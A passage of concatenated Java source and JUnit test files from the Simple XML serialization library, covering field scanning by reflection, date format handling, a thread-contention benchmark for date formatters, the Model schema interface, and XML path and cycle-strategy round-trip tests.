assertEquals(example.array[0][4], 5);
assertEquals(example.array[0][5], 6);
assertEquals(example.array[1][0], 2);
assertEquals(example.array[1][1], 4);
assertEquals(example.array[1][2], 6);
assertEquals(example.array[1][3], 8);
assertEquals(example.array[1][4], 10);
assertEquals(example.array[1][5], 12);
assertEquals(example.array[2][0], 3);
assertEquals(example.array[2][1], 6);
assertEquals(example.array[2][2], 9);
assertEquals(example.array[2][3], 12);
assertEquals(example.array[2][4], 15);
assertEquals(example.array[2][5], 18);
assertEquals(example.array[3][0], 4);
assertEquals(example.array[3][1], 8);
assertEquals(example.array[3][2], 12);
assertEquals(example.array[3][3], 16);
assertEquals(example.array[3][4], 20);
assertEquals(example.array[3][5], 24);
assertEquals(example.array[4][0], 5);
assertEquals(example.array[4][1], 10);
assertEquals(example.array[4][2], 15);
assertEquals(example.array[4][3], 20);
assertEquals(example.array[4][4], 25);
assertEquals(example.array[4][5], 30);
validate(example, serializer);
}
public void testDefaultPrimitive() throws Exception {
DefaultPrimitiveArrayExample example = serializer.read(DefaultPrimitiveArrayExample.class, DEFAULT_PRIMITIVE);
assertEquals(example.array.length, 5);
assertEquals(example.array[0], "entry one");
assertEquals(example.array[1], "entry two");
assertEquals(example.array[2], "entry three");
assertEquals(example.array[3], "entry four");
assertEquals(example.array[4], "entry five");
validate(example, serializer);
}
public void testPrimitiveNull() throws Exception {
PrimitiveArrayExample example = serializer.read(PrimitiveArrayExample.class, PRIMITIVE_NULL);
assertEquals(example.array.length, 5);
assertEquals(example.array[0], null);
assertEquals(example.array[1], "entry two");
assertEquals(example.array[2], "entry three");
assertEquals(example.array[3], null);
assertEquals(example.array[4], null);
validate(example, serializer);
}
public void testParentComposite() throws Exception {
ParentCompositeArrayExample example = serializer.read(ParentCompositeArrayExample.class, COMPOSITE);
assertEquals(example.array.length, 5);
assertEquals(example.array[0].value, "entry one");
assertEquals(example.array[1].value, "entry two");
assertEquals(example.array[2].value, "entry three");
assertEquals(example.array[3].value, "entry four");
assertEquals(example.array[4].value, "entry five");
validate(example, serializer);
}
public void testDefaultComposite() throws Exception {
DefaultCompositeArrayExample example = serializer.read(DefaultCompositeArrayExample.class, DEFAULT_COMPOSITE);
assertEquals(example.array.length, 5);
assertEquals(example.array[0].value, "entry one");
assertEquals(example.array[1].value, "entry two");
assertEquals(example.array[2].value, "entry three");
assertEquals(example.array[3].value, "entry four");
assertEquals(example.array[4].value, "entry five");
validate(example, serializer);
}
public void testParentCompositeNull() throws Exception {
ParentCompositeArrayExample example = serializer.read(ParentCompositeArrayExample.class, COMPOSITE_NULL);
assertEquals(example.array.length, 5);
assertEquals(example.array[0], null);
assertEquals(example.array[1].value, "entry two");
assertEquals(example.array[2], null);
assertEquals(example.array[3], null);
assertEquals(example.array[4].value, "entry five");
validate(example, serializer);
}
public void testCharacter() throws Exception {
CharacterArrayExample example = serializer.read(CharacterArrayExample.class, CHARACTER);
assertEquals(example.array.length, 5);
assertEquals(example.array[0], 'a');
assertEquals(example.array[1], 'b');
assertEquals(example.array[2], 'c');
assertEquals(example.array[3], 'd');
assertEquals(example.array[4], 'e');
validate(example, serializer);
}*/
public void testDifferentArray() throws Exception {
DifferentArrayExample example = new DifferentArrayExample();
validate(example, serializer);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/FieldScanner.java<|end_filename|>
/*
* FieldScanner.java April 2007
*
* Copyright (C) 2007, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import static org.simpleframework.xml.DefaultType.FIELD;
import java.lang.annotation.Annotation;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.List;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.DefaultType;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementArray;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.ElementListUnion;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.ElementMapUnion;
import org.simpleframework.xml.ElementUnion;
import org.simpleframework.xml.Text;
import org.simpleframework.xml.Transient;
import org.simpleframework.xml.Version;
/**
* The <code>FieldScanner</code> object is used to scan an class for
* fields marked with an XML annotation. All fields that contain an
* XML annotation are added as <code>Contact</code> objects to the
* list of contacts for the class. This scans the object by checking
* the class hierarchy, this allows a subclass to override a super
* class annotated field, although this should be used rarely.
*
* @author <NAME>
*/
class FieldScanner extends ContactList {
/**
* This is used to create the synthetic annotations for fields.
*/
private final AnnotationFactory factory;
/**
* This is used to determine which fields have been scanned.
*/
private final ContactMap done;
/**
* This object contains various support functions for the class.
*/
private final Support support;
/**
* Constructor for the <code>FieldScanner</code> object. This is
* used to perform a scan on the specified class in order to find
* all fields that are labeled with an XML annotation.
*
* @param detail this contains the details for the class scanned
* @param support this contains various support functions
*/
public FieldScanner(Detail detail, Support support) throws Exception {
this.factory = new AnnotationFactory(detail, support);
this.done = new ContactMap();
this.support = support;
this.scan(detail);
}
/**
* This method is used to scan the class hierarchy for each class
* in order to extract fields that contain XML annotations. If
* the field is annotated it is converted to a contact so that
* it can be used during serialization and deserialization.
*
* @param detail this contains the details for the class scanned
*/
private void scan(Detail detail) throws Exception {
DefaultType override = detail.getOverride();
DefaultType access = detail.getAccess();
Class base = detail.getSuper();
if(base != null) {
extend(base, override);
}
extract(detail, access);
extract(detail);
build();
}
/**
* This method is used to extend the provided class. Extending a
* class in this way basically means that the fields that have
* been scanned in the specific class will be added to this. Doing
* this improves the performance of classes within a hierarchy.
*
* @param base the class to inherit scanned fields from
* @param access this is the access type used for the super type
*/
private void extend(Class base, DefaultType access) throws Exception {
ContactList list = support.getFields(base, access);
if(list != null) {
addAll(list);
}
}
/**
* This is used to scan the declared fields within the specified
* class. Each method will be check to determine if it contains
* an XML element and can be used as a <code>Contact</code> for
* an entity within the object.
*
* @param detail this is one of the super classes for the object
*/
private void extract(Detail detail) {
List<FieldDetail> fields = detail.getFields();
for(FieldDetail entry : fields) {
Annotation[] list = entry.getAnnotations();
Field field = entry.getField();
for(Annotation label : list) {
scan(field, label, list);
}
}
}
/**
* This is used to scan all the fields of the class in order to
* determine if it should have a default annotation. If the field
* should have a default XML annotation then it is added to the
* list of contacts to be used to form the class schema.
*
* @param detail this is the detail to have its fields scanned
* @param access this is the default access type for the class
*/
private void extract(Detail detail, DefaultType access) throws Exception {
List<FieldDetail> fields = detail.getFields();
if(access == FIELD) {
for(FieldDetail entry : fields) {
Annotation[] list = entry.getAnnotations();
Field field = entry.getField();
Class real = field.getType();
if(!isStatic(field) && !isTransient(field)) {
process(field, real, list);
}
}
}
}
/**
* This reflectively checks the annotation to determine the type
* of annotation it represents. If it represents an XML schema
* annotation it is used to create a <code>Contact</code> which
* can be used to represent the field within the source object.
*
* @param field the field that the annotation comes from
* @param label the annotation used to model the XML schema
* @param list this is the list of annotations on the field
*/
private void scan(Field field, Annotation label, Annotation[] list) {
if(label instanceof Attribute) {
process(field, label, list);
}
if(label instanceof ElementUnion) {
process(field, label, list);
}
if(label instanceof ElementListUnion) {
process(field, label, list);
}
if(label instanceof ElementMapUnion) {
process(field, label, list);
}
if(label instanceof ElementList) {
process(field, label, list);
}
if(label instanceof ElementArray) {
process(field, label, list);
}
if(label instanceof ElementMap) {
process(field, label, list);
}
if(label instanceof Element) {
process(field, label, list);
}
if(label instanceof Version) {
process(field, label, list);
}
if(label instanceof Text) {
process(field, label, list);
}
if(label instanceof Transient) {
remove(field, label);
}
}
/**
* This method is used to process the field an annotation given.
* This will check to determine if the field is accessible, if it
* is not accessible then it is made accessible so that private
* member fields can be used during the serialization process.
*
* @param field this is the field to be added as a contact
* @param type this is the type to acquire the annotation
* @param list this is the list of annotations on the field
*/
private void process(Field field, Class type, Annotation[] list) throws Exception {
Class[] dependents = Reflector.getDependents(field);
Annotation label = factory.getInstance(type, dependents);
if(label != null) {
process(field, label, list);
}
}
/**
* This method is used to process the field an annotation given.
* This will check to determine if the field is accessible, if it
* is not accessible then it is made accessible so that private
* member fields can be used during the serialization process.
*
* @param field this is the field to be added as a contact
* @param label this is the XML annotation used by the field
* @param list this is the list of annotations on the field
*/
private void process(Field field, Annotation label, Annotation[] list) {
Contact contact = new FieldContact(field, label, list);
Object key = new FieldKey(field);
if(!field.isAccessible()) {
field.setAccessible(true);
}
insert(key, contact);
}
/**
* This is used to insert a contact to this contact list. Here if
* a <code>Text</code> annotation is declared on a field that
* already has an annotation then the other annotation is given
* the priority, this is to so text can be processes separately.
*
* @param key this is the key that uniquely identifies the field
* @param contact this is the contact that is to be inserted
*/
private void insert(Object key, Contact contact) {
Contact existing = done.remove(key);
if(existing != null) {
if(isText(contact)) {
contact = existing;
}
}
done.put(key, contact);
}
/**
* This is used to determine if the <code>Text</code> annotation
* has been declared on the field. If this annotation is used
* then this will return true, otherwise this returns false.
*
* @param contact the contact to check for the text annotation
*
* @return true if the text annotation was declared on the field
*/
private boolean isText(Contact contact) {
Annotation label = contact.getAnnotation();
if(label instanceof Text) {
return true;
}
return false;
}
/**
* This is used to remove a field from the map of processed fields.
* A field is removed with the <code>Transient</code> annotation
* is used to indicate that it should not be processed by the
* scanner. This is required when default types are used.
*
* @param field this is the field to be removed from the map
* @param label this is the label associated with the field
*/
private void remove(Field field, Annotation label) {
done.remove(new FieldKey(field));
}
/**
* This is used to build a list of valid contacts for this scanner.
* Valid contacts are fields that are either defaulted or those
* that have an explicit XML annotation. Any field that has been
* marked as transient will not be considered as valid.
*/
private void build() {
for(Contact contact : done) {
add(contact);
}
}
/**
* This is used to determine if a field is static. If a field is
* static it should not be considered as a default field. This
* ensures the default annotation does not pick up static finals.
*
* @param field this is the field to determine if it is static
*
* @return true if the field is static, false otherwise
*/
private boolean isStatic(Field field) {
int modifier = field.getModifiers();
if(Modifier.isStatic(modifier)) {
return true;
}
return false;
}
/**
* This is used to determine if a field is transient. For default
* fields that are processed no transient field should be
* considered. This ensures that the serialization of the object
* behaves in the same manner as with Java Object Serialization.
*
* @param field this is the field to check for transience
*
* @return this returns true if the field is a transient one
*/
private boolean isTransient(Field field) {
int modifier = field.getModifiers();
if(Modifier.isTransient(modifier)) {
return true;
}
return false;
}
/**
* The <code>FieldKey</code> object is used to create a key that
* can store a contact using a field without using the methods
* of <code>hashCode</code> and <code>equals</code> on the field
* directly, as these can perform poorly on certain platforms.
*/
private static class FieldKey {
/**
* This is the class that the field has been declared on.
*/
private final Class type;
/**
* This is the name of the field that this represents.
*/
private final String name;
/**
* Constructor of the <code>FieldKey</code> object. This is
* used to create an object that can reference something
* in a similar manner to a field.
*
* @param field this is the field to create the key with
*/
public FieldKey(Field field) {
this.type = field.getDeclaringClass();
this.name = field.getName();
}
/**
* This is basically the hash code for the field name. Because
* field names are unique within a class collisions using
* just the name for the hash code should be infrequent.
*
* @return this returns the hash code for this key
*/
public int hashCode() {
return name.hashCode();
}
/**
* This method is used to compare this key to other keys. The
* declaring class and the name of the field are used to test
* for equality. If both are the same this returns true.
*
* @param value this is the value that is to be compared to
*
* @return this returns true if the field values are equal
*/
public boolean equals(Object value) {
if(value instanceof FieldKey) {
return equals((FieldKey)value);
}
return false;
}
/**
* This method is used to compare this key to other keys. The
* declaring class and the name of the field are used to test
* for equality. If both are the same this returns true.
*
* @param other this is the value that is to be compared to
*
* @return this returns true if the field values are equal
*/
private boolean equals(FieldKey other) {
if(other.type != type) {
return false;
}
return other.name.equals(name);
}
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/transform/DateType.java<|end_filename|>
/*
* DateType.java May 2007
*
* Copyright (C) 2007, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.transform;
import java.text.SimpleDateFormat;
import java.util.Date;
/**
* The <code>DateType</code> enumeration provides a set of known date
* formats supported by the date transformer. This allows the XML
* representation of a date to come in several formats, from most
* accurate to least. Enumerating the dates ensures that resolution
* of the format is fast by enabling inspection of the date string.
*
* @author <NAME>
*/
enum DateType {
/**
* This is the default date format used by the date transform.
*/
FULL("yyyy-MM-dd HH:mm:ss.S z"),
/**
* This is the date type without millisecond resolution.
*/
LONG("yyyy-MM-dd HH:mm:ss z"),
/**
* This date type enables only the specific date to be used.
*/
NORMAL("yyyy-MM-dd z"),
/**
* This is the shortest format that relies on the date locale.
*/
SHORT("yyyy-MM-dd");
/**
* This is the date formatter that is used to parse the date.
*/
private DateFormat format;
/**
* Constructor for the <code>DateType</code> enumeration. This
* will accept a simple date format pattern, which is used to
* parse an input string and convert it to a usable date.
*
* @param format this is the format to use to parse the date
*/
private DateType(String format) {
this.format = new DateFormat(format);
}
/**
* Acquires the date format from the date type. This is then
* used to parse the date string and convert it to a usable
* date. The format returned is synchronized for safety.
*
* @return this returns the date format to be used
*/
private DateFormat getFormat() {
return format;
}
/**
* This is used to convert the date to a string value. The
* string value can then be embedded in to the generated XML in
* such a way that it can be recovered as a <code>Date</code>
* when the value is transformed by the date transform.
*
* @param date this is the date that is converted to a string
*
* @return this returns the string to represent the date
*/
public static String getText(Date date) throws Exception {
DateFormat format = FULL.getFormat();
return format.getText(date);
}
/**
* This is used to convert the string to a date value. The
* date value can then be recovered from the generated XML by
* parsing the text with one of the known date formats. This
* allows bidirectional transformation of dates to strings.
*
* @param text this is the date that is converted to a date
*
* @return this returns the date parsed from the string value
*/
public static Date getDate(String text) throws Exception {
DateType type = getType(text);
DateFormat format = type.getFormat();
return format.getDate(text);
}
/**
* This is used to acquire a date type using the specified text
* as input. This will perform some checks on the raw string to
* match it to the appropriate date type. Resolving the date type
* in this way ensures that only one date type needs to be used.
*
* @param text this is the text to be matched with a date type
*
* @return the most appropriate date type for the given string
*/
public static DateType getType(String text) {
int length = text.length();
if(length > 23) {
return FULL;
}
if(length > 20) {
return LONG;
}
if(length > 11) {
return NORMAL;
}
return SHORT;
}
/**
* The <code>DateFormat</code> provides a synchronized means for
* using the simple date format object. It ensures that should
* there be many threads trying to gain access to the formatter
* that they will not collide causing a race condition.
*
* @author <NAME>
*/
private static class DateFormat {
/**
* This is the simple date format used to parse the string.
*/
private SimpleDateFormat format;
/**
* Constructor for the <code>DateFormat</code> object. This will
* wrap a simple date format, providing access to the conversion
* functions which allow date to string and string to date.
*
* @param format this is the pattern to use for the date type
*/
public DateFormat(String format) {
this.format = new SimpleDateFormat(format);
}
/**
* This is used to provide a transformation from a date to a string.
* It ensures that there is a bidirectional transformation process
* which allows dates to be serialized and deserialized with XML.
*
* @param date this is the date to be converted to a string value
*
* @return returns the string that has be converted from a date
*/
public synchronized String getText(Date date) throws Exception {
return format.format(date);
}
/**
* This is used to provide a transformation from a string to a date.
* It ensures that there is a bidirectional transformation process
* which allows dates to be serialized and deserialized with XML.
*
* @param text this is the string to be converted to a date value
*
* @return returns the date that has be converted from a string
*/
public synchronized Date getDate(String text) throws Exception {
return format.parse(text);
}
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/transform/DateFormatterTest.java<|end_filename|>
package org.simpleframework.xml.transform;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.atomic.AtomicLong;
import junit.framework.TestCase;
public class DateFormatterTest extends TestCase {
private static final String FORMAT = "yyyy-MM-dd HH:mm:ss.S z";
private static final int CONCURRENCY = 10;
private static final int COUNT = 100;
public void testFormatter() throws Exception {
DateFormatter formatter = new DateFormatter(FORMAT);
Date date = new Date();
String value = formatter.write(date);
Date copy = formatter.read(value);
assertEquals(date, copy);
}
public void testPerformance() throws Exception {
CountDownLatch simpleDateFormatGate = new CountDownLatch(CONCURRENCY);
CountDownLatch simpleDateFormatFinisher = new CountDownLatch(CONCURRENCY);
AtomicLong simpleDateFormatCount = new AtomicLong();
for(int i = 0; i < CONCURRENCY; i++) {
new Thread(new SimpleDateFormatTask(simpleDateFormatFinisher, simpleDateFormatGate, simpleDateFormatCount, FORMAT)).start();
}
simpleDateFormatFinisher.await();
CountDownLatch synchronizedGate = new CountDownLatch(CONCURRENCY);
CountDownLatch synchronizedFinisher = new CountDownLatch(CONCURRENCY);
AtomicLong synchronizedCount = new AtomicLong();
SimpleDateFormat format = new SimpleDateFormat(FORMAT);
for(int i = 0; i < CONCURRENCY; i++) {
new Thread(new SynchronizedTask(synchronizedFinisher, synchronizedGate, synchronizedCount, format)).start();
}
synchronizedFinisher.await();
CountDownLatch formatterGate = new CountDownLatch(CONCURRENCY);
CountDownLatch formatterFinisher = new CountDownLatch(CONCURRENCY);
AtomicLong formatterCount = new AtomicLong();
DateFormatter formatter = new DateFormatter(FORMAT, CONCURRENCY);
for(int i = 0; i < CONCURRENCY; i++) {
new Thread(new FormatterTask(formatterFinisher, formatterGate, formatterCount, formatter)).start();
}
formatterFinisher.await();
System.err.printf("pool: %s, new: %s, synchronized: %s", formatterCount.get(), simpleDateFormatCount.get(), synchronizedCount.get());
//assertTrue(formatterCount.get() < simpleDateFormatCount.get());
//assertTrue(formatterCount.get() < synchronizedCount.get()); // Synchronized is faster?
}
private class FormatterTask implements Runnable {
private DateFormatter formatter;
private CountDownLatch gate;
private CountDownLatch main;
private AtomicLong count;
public FormatterTask(CountDownLatch main, CountDownLatch gate, AtomicLong count, DateFormatter formatter) {
this.formatter = formatter;
this.count = count;
this.gate = gate;
this.main = main;
}
public void run() {
long start = System.currentTimeMillis();
try {
gate.countDown();
gate.await();
Date date = new Date();
for(int i = 0; i < COUNT; i++) {
String value = formatter.write(date);
Date copy = formatter.read(value);
assertEquals(date, copy);
}
}catch(Exception e) {
assertTrue(false);
} finally {
count.getAndAdd(System.currentTimeMillis() - start);
main.countDown();
}
}
}
private class SimpleDateFormatTask implements Runnable {
private CountDownLatch gate;
private CountDownLatch main;
private AtomicLong count;
private String format;
public SimpleDateFormatTask(CountDownLatch main, CountDownLatch gate, AtomicLong count, String format) {
this.format = format;
this.count = count;
this.gate = gate;
this.main = main;
}
public void run() {
long start = System.currentTimeMillis();
try {
gate.countDown();
gate.await();
Date date = new Date();
for(int i = 0; i < COUNT; i++) {
String value = new SimpleDateFormat(format).format(date);
Date copy = new SimpleDateFormat(format).parse(value);
assertEquals(date, copy);
}
}catch(Exception e) {
assertTrue(false);
} finally {
count.getAndAdd(System.currentTimeMillis() - start);
main.countDown();
}
}
}
private class SynchronizedTask implements Runnable {
private SimpleDateFormat format;
private CountDownLatch gate;
private CountDownLatch main;
private AtomicLong count;
public SynchronizedTask(CountDownLatch main, CountDownLatch gate, AtomicLong count, SimpleDateFormat format) {
this.format = format;
this.count = count;
this.gate = gate;
this.main = main;
}
public void run() {
long start = System.currentTimeMillis();
try {
gate.countDown();
gate.await();
Date date = new Date();
for(int i = 0; i < COUNT; i++) {
synchronized(format) {
String value = format.format(date);
Date copy = format.parse(value);
assertEquals(date, copy);
}
}
}catch(Exception e) {
assertTrue(false);
} finally {
count.getAndAdd(System.currentTimeMillis() - start);
main.countDown();
}
}
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/Model.java<|end_filename|>
/*
* Model.java November 2010
*
* Copyright (C) 2010, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
/**
* The <code>Model</code> interface represents the core data structure
* used for representing an XML schema. This is effectively a tree
* like structure in that it can contain other models as well as XML
* attributes and elements. Each model represents a context within an
* XML document, each context is navigated to with an XPath expression.
* <p>
* The model is responsible for building the element and attribute
* labels used to read and write and also to ensure the correct order
* of the XML elements and attributes is enforced. Once the model has
* been completed it can then be validated to ensure its contents
* represent a valid XML structure.
*
* @author <NAME>
*
* @see org.simpleframework.xml.core.Section
*/
interface Model extends Iterable<String> {
/**
* Used to determine if a model is empty. A model is considered
* empty if that model does not contain any registered elements
* or attributes. However, if the model contains other models
* that have registered elements or attributes it is not empty.
*
* @return true if the model does not contain registrations
*/
boolean isEmpty();
/**
* This is used to determine if the provided name represents
* a model. This is useful when validating the model as it
* allows determination of a named model, which is an element.
*
* @param name this is the name of the section to determine
*
* @return this returns true if the model is registered
*/
boolean isModel(String name);
/**
* This is used to determine if the provided name represents
* an element. This is useful when validating the model as
* it allows determination of a named XML element.
*
* @param name this is the name of the section to determine
*
* @return this returns true if the element is registered
*/
boolean isElement(String name);
/**
* This is used to determine if the provided name represents
* an attribute. This is useful when validating the model as
* it allows determination of a named XML attribute
*
* @param name this is the name of the attribute to determine
*
* @return this returns true if the attribute is registered
*/
boolean isAttribute(String name);
/**
* This is used to perform a recursive search of the models that
* have been registered, if a model has elements or attributes
* then this returns true. If however no other model contains
* any attributes or elements then this will return false.
*
* @return true if any model has elements or attributes
*/
boolean isComposite();
/**
* This is used to validate the model to ensure all elements and
* attributes are valid. Validation also ensures that any order
* specified by an annotated class did not contain invalid XPath
* values, or redundant elements and attributes.
*
* @param type this is the object type representing the schema
*
* @throws Exception if text and element annotations are present
*/
void validate(Class type) throws Exception;
/**
* This is used to register an XML entity within the model. The
* registration process has the affect of telling the model that
* it will contain a specific, named, XML entity. It also has
* the affect of ordering them within the model, such that the
* first registered entity is the first iterated over.
*
* @param label this is the label to register with the model
*/
void register(Label label) throws Exception;
/**
* This is used to register an XML entity within the model. The
* registration process has the affect of telling the model that
* it will contain a specific, named, XML entity. It also has
* the affect of ordering them within the model, such that the
* first registered entity is the first iterated over.
*
* @param label this is the label to register with the model
*/
void registerText(Label label) throws Exception;
/**
* This is used to register an XML entity within the model. The
* registration process has the affect of telling the model that
* it will contain a specific, named, XML entity. It also has
* the affect of ordering them within the model, such that the
* first registered entity is the first iterated over.
*
* @param label this is the label to register with the model
*/
void registerElement(Label label) throws Exception;
/**
* This is used to register an XML entity within the model. The
* registration process has the affect of telling the model that
* it will contain a specific, named, XML entity. It also has
* the affect of ordering them within the model, such that the
* first registered entity is the first iterated over.
*
* @param label this is the label to register with the model
*/
void registerAttribute(Label label) throws Exception;
/**
* This is used to register an XML entity within the model. The
* registration process has the affect of telling the model that
* it will contain a specific, named, XML entity. It also has
* the affect of ordering them within the model, such that the
* first registered entity is the first iterated over.
*
* @param name this is the name of the element to register
*/
void registerElement(String name) throws Exception;
/**
* This is used to register an XML entity within the model. The
* registration process has the affect of telling the model that
* it will contain a specific, named, XML entity. It also has
* the affect of ordering them within the model, such that the
* first registered entity is the first iterated over.
*
* @param name this is the name of the element to register
*/
void registerAttribute(String name) throws Exception;
/**
* This is used to register a <code>Model</code> within this
* model. Registration of a model creates a tree of models that
* can be used to represent an XML structure. Each model can
* contain elements and attributes associated with a type.
*
* @param name this is the name of the model to be registered
* @param prefix this is the prefix used for this model
* @param index this is the index used to order the model
*
* @return this returns the model that was registered
*/
Model register(String name, String prefix, int index) throws Exception;
/**
* This method is used to look for a <code>Model</code> that
* matches the specified element name. If no such model exists
* then this will return null. This is used as an alternative
* to providing an XPath expression to navigate the tree.
*
* @param name this is the name of the model to be acquired
* @param index this is the index used to order the model
*
* @return this returns the model located by the expression
*/
Model lookup(String name, int index);
/**
* This method is used to look for a <code>Model</code> that
* matches the specified expression. If no such model exists
* then this will return null. Using an XPath expression allows
* a tree like structure to be navigated with ease.
*
* @param path an XPath expression used to locate a model
*
* @return this returns the model located by the expression
*/
Model lookup(Expression path);
/**
* This is used to build a map from a <code>Context</code> object.
* Building a map in this way ensures that any style specified by
* the context can be used to create the XML element and attribute
* names in the styled format. It also ensures that the model
* remains immutable as it only provides copies of its data.
*
* @return this returns a map built from the specified context
*/
LabelMap getElements() throws Exception;
/**
* This is used to build a map from a <code>Context</code> object.
* Building a map in this way ensures that any style specified by
* the context can be used to create the XML element and attribute
* names in the styled format. It also ensures that the model
* remains immutable as it only provides copies of its data.
*
* @return this returns a map built from the specified context
*/
LabelMap getAttributes() throws Exception;
/**
* This is used to build a map from a <code>Context</code> object.
* Building a map in this way ensures that any style specified by
* the context can be used to create the XML element and attribute
* names in the styled format. It also ensures that the model
* remains immutable as it only provides copies of its data.
*
* @return this returns a map built from the specified context
*/
ModelMap getModels() throws Exception;
/**
* This returns a text label if one is associated with the model.
* If the model does not contain a text label then this method
* will return null. Any model with a text label should not be
* composite and should not contain any elements.
*
* @return this is the optional text label for this model
*/
Label getText();
/**
* This returns an <code>Expression</code> representing the path
* this model exists at within the class schema. This should
* never be null for any model that is not empty.
*
* @return this returns the expression associated with this
*/
Expression getExpression();
/**
* This is used to acquire the path prefix for the model. The
* path prefix is used when the model is transformed in to an
* XML structure. This ensures that the XML element created to
* represent the model contains the optional prefix.
*
* @return this returns the prefix for this model
*/
String getPrefix();
/**
* This is used to return the name of the model. The name is
* must be a valid XML element name. It is used when a style
* is applied to a section as the model name must be styled.
*
* @return this returns the name of this model instance
*/
String getName();
/**
* This method is used to return the index of the model. The
* index is the order that this model appears within the XML
* document. Having an index allows multiple models of the
* same name to be inserted in to a sorted collection.
*
* @return this is the index of this model instance
*/
int getIndex();
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/PathSectionIndexTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import org.simpleframework.xml.Default;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Path;
import org.simpleframework.xml.ValidationTestCase;
public class PathSectionIndexTest extends ValidationTestCase {
@Default
@SuppressWarnings("all")
private static class PathSectionIndexExample {
@Path("contact-details[2]/phone")
private String home;
@Path("contact-details[1]/phone")
private String mobile;
public PathSectionIndexExample(
@Element(name="home") String home,
@Element(name="mobile") String mobile) {
this.home = home;
this.mobile = mobile;
}
}
public void testSectionIndex() throws Exception {
Persister persister = new Persister();
PathSectionIndexExample example = new PathSectionIndexExample("12345", "67890");
StringWriter writer = new StringWriter();
persister.write(example, System.err);
persister.write(example, writer);
PathSectionIndexExample recovered= persister.read(PathSectionIndexExample.class, writer.toString());
assertEquals(recovered.home, example.home);
assertEquals(recovered.mobile, example.mobile);
assertElementExists(writer.toString(), "/pathSectionIndexExample/contact-details[1]/phone/mobile");
assertElementExists(writer.toString(), "/pathSectionIndexExample/contact-details[2]/phone/home");
validate(example, persister);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/convert/RegistryCycleStrategyTest.java<|end_filename|>
package org.simpleframework.xml.convert;
import java.io.StringWriter;
import java.util.ArrayList;
import java.util.List;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.convert.ExampleConverters.Cat;
import org.simpleframework.xml.convert.ExampleConverters.CatConverter;
import org.simpleframework.xml.convert.ExampleConverters.Dog;
import org.simpleframework.xml.convert.ExampleConverters.DogConverter;
import org.simpleframework.xml.convert.ExampleConverters.Pet;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.strategy.CycleStrategy;
public class RegistryCycleStrategyTest extends ValidationTestCase {
@Root
public static class PetBucket {
@ElementList(inline=true)
private List<Pet> list = new ArrayList<Pet>();
public void addPet(Pet pet){
list.add(pet);
}
public List<Pet> getPets(){
return list;
}
}
public void testCycle() throws Exception {
Registry registry = new Registry();
CycleStrategy inner = new CycleStrategy();
RegistryStrategy strategy = new RegistryStrategy(registry, inner);
Persister persister = new Persister(strategy);
PetBucket bucket = new PetBucket();
StringWriter writer = new StringWriter();
registry.bind(Cat.class, CatConverter.class);
registry.bind(Dog.class, DogConverter.class);
Pet kitty = new Cat("Kitty", 10);
Pet lassie = new Dog("Lassie", 7);
Pet ben = new Dog("Ben", 8);
bucket.addPet(kitty);
bucket.addPet(lassie);
bucket.addPet(ben);
bucket.addPet(lassie);
bucket.addPet(kitty);
persister.write(bucket, writer);
persister.write(bucket, System.out);
String text = writer.toString();
PetBucket copy = persister.read(PetBucket.class, text);
assertEquals(copy.getPets().get(0), bucket.getPets().get(0));
assertEquals(copy.getPets().get(1), bucket.getPets().get(1));
assertEquals(copy.getPets().get(2), bucket.getPets().get(2));
assertEquals(copy.getPets().get(3), bucket.getPets().get(3));
assertEquals(copy.getPets().get(4), bucket.getPets().get(4));
assertTrue(copy.getPets().get(0) == copy.getPets().get(4)); // cycle
assertTrue(copy.getPets().get(1) == copy.getPets().get(3)); // cycle
assertElementExists(text, "/petBucket");
assertElementExists(text, "/petBucket/pet");
assertElementHasAttribute(text, "/petBucket", "id", "0");
assertElementHasAttribute(text, "/petBucket/pet[1]", "id", "1");
assertElementHasAttribute(text, "/petBucket/pet[2]", "id", "2");
assertElementHasAttribute(text, "/petBucket/pet[3]", "id", "3");
assertElementHasAttribute(text, "/petBucket/pet[4]", "reference", "2");
assertElementHasAttribute(text, "/petBucket/pet[5]", "reference", "1");
assertElementHasValue(text, "/petBucket/pet[1]/name", "Kitty");
assertElementHasValue(text, "/petBucket/pet[1]/age", "10");
assertElementHasAttribute(text, "/petBucket/pet[1]", "class", Cat.class.getName());
assertElementHasAttribute(text, "/petBucket/pet[2]", "class", Dog.class.getName());
